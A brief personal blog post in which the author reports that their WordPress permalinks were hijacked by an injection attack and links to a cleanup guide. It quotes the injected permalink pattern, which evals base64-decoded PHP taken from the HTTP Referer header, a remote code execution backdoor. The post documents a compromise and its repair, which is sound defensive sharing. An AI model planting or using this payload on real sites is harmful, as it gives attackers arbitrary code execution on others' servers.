After posting up the last entry about SSH I noticed that I had a problem with my Permalinks. Seems that there is some nasty little injection problem with WordPress that changes the Permalinks with the addition of.
&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&
I am following the suggestions here:
http://blog.4rev.net/2009-09/wordpress-hacked-eval-base64_decode-_serverhttp_referer/
And it seemed to work.